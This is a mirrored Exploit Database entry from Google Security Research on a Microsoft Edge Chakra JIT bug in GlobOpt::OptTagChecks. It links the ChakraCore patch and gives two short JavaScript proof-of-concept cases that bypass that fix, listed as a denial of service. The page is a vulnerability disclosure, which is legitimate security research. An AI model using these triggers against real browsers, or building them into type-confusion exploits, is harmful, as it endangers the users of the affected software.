Microsoft Edge Chakra JIT – ‘GlobOpt::OptTagChecks’ Must Consider IsLoopPrePass Properly (2)

• Exploit Database
• 125 阅读

• 作者： Google Security Research
  日期： 2018-02-15
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/44075/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41

  It seems this is the patch for the bug. https://github.com/Microsoft/ChakraCore/pull/4226/commits/874551dd00ff6f404e593c7e0162efb54b953f5a   The following two cases will bypass the fix.   1: function opt() { let obj = new Number(2.3023e-320); for (let i = 0; i < 1; i++) { obj.x = 1; obj = +obj; obj.x = 1; } }   function main() { for (let i = 0; i < 100; i++) { opt(); } }   main();   2: function opt() { let obj = &apos;2.3023e-320&apos;; for (let i = 0; i < 1; i++) { obj.x = 1; obj = +obj; obj.x = 1; } }   function main() { for (let i = 0; i < 100; i++) { opt(); } }   main();